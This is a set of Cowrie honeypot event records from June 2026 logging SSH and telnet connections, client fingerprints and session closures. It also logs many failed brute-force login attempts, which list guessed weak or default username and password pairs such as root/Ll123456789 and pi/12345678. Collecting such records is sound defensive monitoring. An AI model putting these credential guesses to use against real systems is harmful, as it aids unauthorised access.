{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":53366,"dst_ip":"10.17.0.5","dst_port":23,"session":"c1d60d6bc6db","protocol":"telnet","message":"New connection: 172.81.62.90:53366 (10.17.0.5:23) [session: c1d60d6bc6db]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:27:54.431421Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:27:54.950425Z","src_ip":"91.92.40.36","session":"133f6b9d60d1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:27:54.954548Z","src_ip":"91.92.40.36","session":"133f6b9d60d1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"afk","password":"afk","message":"login attempt [afk/afk] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:27:57.667406Z","src_ip":"91.92.40.36","session":"4250d23a6a83","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"181.188.176.242","src_port":55604,"dst_ip":"10.17.0.5","dst_port":22,"session":"de8b089e832b","protocol":"ssh","message":"New connection: 181.188.176.242:55604 (10.17.0.5:22) [session: de8b089e832b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:27:58.459781Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:27:58.466086Z","src_ip":"181.188.176.242","session":"de8b089e832b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:27:58.633271Z","src_ip":"181.188.176.242","session":"de8b089e832b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":28460,"dst_ip":"10.17.0.5","dst_port":22,"session":"d82df0f7a2e1","protocol":"ssh","message":"New connection: 91.92.40.36:28460 (10.17.0.5:22) [session: d82df0f7a2e1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:27:58.671976Z"}
{"eventid":"cowrie.login.failed","username":"ehsan","password":"ehsan@123","message":"login attempt [ehsan/ehsan@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:27:59.324976Z","src_ip":"181.188.176.242","session":"de8b089e832b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.84.236.242","src_port":46944,"dst_ip":"159.203.135.109","dst_port":22,"session":"480030288680","protocol":"ssh","message":"New connection: 103.84.236.242:46944 (159.203.135.109:22) [session: 480030288680]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:27:59.752988Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:27:59.757501Z","src_ip":"103.84.236.242","session":"480030288680","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:27:59.990208Z","src_ip":"103.84.236.242","session":"480030288680","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:28:00.497123Z","src_ip":"181.188.176.242","session":"de8b089e832b","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:28:00.631886Z","src_ip":"91.92.40.36","session":"d82df0f7a2e1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:28:00.635477Z","src_ip":"91.92.40.36","session":"d82df0f7a2e1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"12.6","message":"Connection lost after 12.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:28:00.739792Z","src_ip":"91.92.40.36","session":"4250d23a6a83","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Ll123456789","message":"login attempt [root/Ll123456789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:28:00.953653Z","src_ip":"103.84.236.242","session":"480030288680","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:28:02.188136Z","src_ip":"103.84.236.242","session":"480030288680","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":38.196815729141235,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:28:02.259617Z","src_ip":"172.81.62.90","session":"878c98b04869","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":28480,"dst_ip":"10.17.0.5","dst_port":22,"session":"74cb7ceba6f9","protocol":"ssh","message":"New connection: 91.92.40.36:28480 (10.17.0.5:22) [session: 74cb7ceba6f9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:28:03.510119Z"}
{"eventid":"cowrie.login.failed","username":"pi","password":"12345678","message":"login attempt [pi/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:28:04.546527Z","src_ip":"91.92.40.36","session":"133f6b9d60d1","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:28:05.945153Z","src_ip":"91.92.40.36","session":"74cb7ceba6f9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:28:05.948654Z","src_ip":"91.92.40.36","session":"74cb7ceba6f9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"15.7","message":"Connection lost after 15.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:28:08.843691Z","src_ip":"91.92.40.36","session":"133f6b9d60d1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":54320,"dst_ip":"10.17.0.5","dst_port":22,"session":"c1474f5a85ff","protocol":"ssh","message":"New connection: 91.92.40.36:54320 (10.17.0.5:22) [session: c1474f5a85ff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:28:09.178344Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:28:11.909460Z","src_ip":"91.92.40.36","session":"c1474f5a85ff","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:28:11.914298Z","src_ip":"91.92.40.36","session":"c1474f5a85ff","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"0","message":"login attempt [root/0] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:28:12.077884Z","src_ip":"91.92.40.36","session":"d82df0f7a2e1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":54378,"dst_ip":"10.17.0.5","dst_port":22,"session":"296d65a7365e","protocol":"ssh","message":"New connection: 91.92.40.36:54378 (10.17.0.5:22) [session: 296d65a7365e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:28:14.076785Z"}
{"eventid":"cowrie.session.closed","duration":"17.7","message":"Connection lost after 17.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:28:16.331195Z","src_ip":"91.92.40.36","session":"d82df0f7a2e1","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:28:16.989413Z","src_ip":"91.92.40.36","session":"296d65a7365e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:28:16.992751Z","src_ip":"91.92.40.36","session":"296d65a7365e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.65708875656128,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:28:16.999791Z","src_ip":"172.81.62.90","session":"92102197c495","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"bitnami","password":"bitnami","message":"login attempt [bitnami/bitnami] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:28:18.058180Z","src_ip":"91.92.40.36","session":"74cb7ceba6f9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":58420,"dst_ip":"10.17.0.5","dst_port":22,"session":"6f56a58bf359","protocol":"ssh","message":"New connection: 91.92.40.36:58420 (10.17.0.5:22) [session: 6f56a58bf359]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:28:19.418092Z"}
{"eventid":"cowrie.session.closed","duration":35.256805419921875,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:28:21.688364Z","src_ip":"172.81.62.90","session":"795971e70812","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"18.9","message":"Connection lost after 18.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:28:22.453023Z","src_ip":"91.92.40.36","session":"74cb7ceba6f9","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:28:22.729927Z","src_ip":"91.92.40.36","session":"6f56a58bf359","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:28:22.734609Z","src_ip":"91.92.40.36","session":"6f56a58bf359","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"anderson","password":"123456","message":"login attempt [anderson/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:28:24.315923Z","src_ip":"91.92.40.36","session":"c1474f5a85ff","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"19.4","message":"Connection lost after 19.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:28:28.560313Z","src_ip":"91.92.40.36","session":"c1474f5a85ff","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":42902,"dst_ip":"10.17.0.5","dst_port":22,"session":"fea5c4327c13","protocol":"ssh","message":"New connection: 91.92.40.36:42902 (10.17.0.5:22) [session: fea5c4327c13]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:28:28.708960Z"}
{"eventid":"cowrie.login.failed","username":"green","password":"green","message":"login attempt [green/green] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:28:29.226029Z","src_ip":"91.92.40.36","session":"296d65a7365e","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:28:31.512094Z","src_ip":"91.92.40.36","session":"fea5c4327c13","protocol":"ssh"}
